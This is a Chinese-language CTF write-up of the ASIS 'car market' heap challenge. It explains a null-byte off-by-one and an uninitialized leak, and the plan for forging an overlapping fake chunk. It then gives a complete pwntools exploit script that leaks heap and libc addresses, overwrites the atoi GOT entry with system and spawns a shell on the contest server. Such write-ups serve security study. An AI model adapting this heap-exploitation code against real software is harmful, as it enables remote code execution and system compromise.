同样是一个菜单题,一个对car进行管理的程序,可以添加car,给每个car添加customer,等等。对于car的管理一开始分配了一个大数组,采用向量的分配方式,满了就把容量增加一倍。
数据结构 主要有2个数据结构,car和customer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 struct Car { char model[16 ] int price int padding Customer *customer } struct Customer { char first_name[32 ] char name[32 ] char *comment }
Car的大小为0x20,chunk大小为0x30;Customer大小为0x48,chunk大小为0x50。每次分配comment的大小都是0x48,chunk大小也是0x50,使用fgets
读入。
漏洞 程序的漏洞是一个经典的在readline
函数中的null-byte off-by-one,这种应该非常常见了,这样在读入name
这个域时就可以把下面comment
的低位字节覆盖成0。
另一个漏洞是一个未初始化造成的leak,由于每次添加customer时可以不输入name,这样就能够读出之前chunk里的内容。
利用 leak heap非常容易,添加一个customer,添加comment,然后再添加customer,这个时候之前的comment和customer会被free掉,customer由于后free所以在first_name
的位置出现了一个heap的指针,这时候取回这个customer,就能够从first_name
中读出heap地址了。
之后的利用就围绕这个null-byte展开,我使用的方法是让一个comment的结构跨越一个以0字节结尾的地址,然后在comment里伪造一个0x30的chunk。触发之后的customer结构中的null-byte off-by-one让其comment指向这个伪造的chunk,然后将其free掉。下一次添加car的时候,就能取回这个overlapped chunk,事先准备好这个chunk里customer指针的值指向heap头部的car_list
大数组。然后添加customer,头部的大数组会被free掉然后分裂出一个0x50的customer,这时通过写入first_name
即可将一个car的结构指向程序的GOT,接下来利用edit功能读写即可。
1 2 3 4 5 6 7 8 9 [comment] [car] [customer] 0x50 0x30 0x50 +-----------+----------+-----------+ |p|s|p|s| |p|s| |p|s| |c| +-----------+----------+-----------+ ^ ^ | | | | 0x31--- -------------------------- [0x....00]
参考代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 from pwn import *p = remote('car-market.asis-ctf.ir' , 31337 ) atoi_got = 0x602078 def list_car (): p.recvuntil('>\n' ) p.sendline('1' ) def info_car (): p.recvuntil('>\n' ) p.sendline('1' ) def select_car (idx ): p.recvuntil('>\n' ) p.sendline('4' ) p.recvuntil('index\n' ) p.sendline(str (idx)) def add_car (model, price ): p.recvuntil('>\n' ) p.sendline('2' ) p.recvuntil('model\n' ) p.sendline(model) p.recvuntil('price\n' ) p.sendline(str (price)) def set_model (model ): p.recvuntil('>\n' ) p.sendline('2' ) p.recvuntil('model\n' ) p.sendline(model) def add_customer (): p.recvuntil('>\n' ) p.sendline('4' ) def set_first_name (name ): p.recvuntil('>\n' ) p.sendline('2' ) p.recvuntil('first name : \n' ) p.sendline(name) def set_name (name ): p.recvuntil('>\n' ) p.sendline('1' ) p.recvuntil('name : \n' ) p.sendline(name) def set_comment (comment ): p.recvuntil('>\n' ) p.sendline('3' ) p.recvuntil('coment : \n' ) p.sendline(comment) def back (): menu = p.recvuntil('>\n' ) if '5: exit' in menu: p.sendline('5' ) elif '4: exit' in menu: p.sendline('4' ) else : raise Exception('back error' ) add_car('AAAA' , 0x41414141 ) select_car(0 ) add_customer() set_comment('BBBB' ) back() add_customer() back() info_car() p.recvuntil('Firstname : ' ) comment_leaked = u64(p.recvuntil('\n' , drop=True )[:8 ].ljust(8 , '\0' )) heap = comment_leaked - 0x890 print ('[+] heap base @ %#x' % heap)add_customer() set_comment('BBBB' ) back() back() add_car('CCCC' , 0x43434343 ) select_car(1 ) add_customer() back() back() add_car('DDDD' , 0x44444444 ) select_car(2 ) add_customer() payload = p64(0 ) + p64(0x31 ) + 'Overlapped Car' .ljust(16 , '\0' ) + p64(0 ) + p64(heap + 0x10 ) +'D' * 8 + p64(0x31 ) set_comment(payload) back() back() add_car('EEEE' , 0x45454545 ) select_car(3 ) add_customer() set_comment('EEEEEEEE' ) set_name('F' * 32 ) p.recvuntil('>\n' ) back() add_customer() back() back() add_car('GGGG' , 0x47474747 ) select_car(4 ) add_customer() set_first_name(p64(atoi_got-8 )) back() back() select_car(0 ) info_car() p.recvuntil('Model : ' ) setvbuf = u64(p.recvuntil(' \n' , drop=True )[:8 ].ljust(8 , '\0' )) libc = setvbuf - 0x6fdb0 print ('[+] libc base @ %#x' % libc)system = libc + 0x45380 set_model(p64(0 ) + p64(system)) p.sendline('/bin/sh\0' ) p.interactive()
小结 记得上次的asis也有一道类似的pwnable,同样是在输入中的一个null-byte off-by-one,能够改掉某个指针的最低位字节。最后也是围绕0地址的位置进行构造完成的利用,特别像这种对heap操作很多很容易造成崩溃的程序,需要在每一步以及下一步操作对heap造成的影响有很好的判断,同时需要能够通过malloc一定数量的chunk来到达0地址附近并构造合适的fake chunk,过程一般都非常繁琐。不过,这也正是heap的魅力所在呢 :)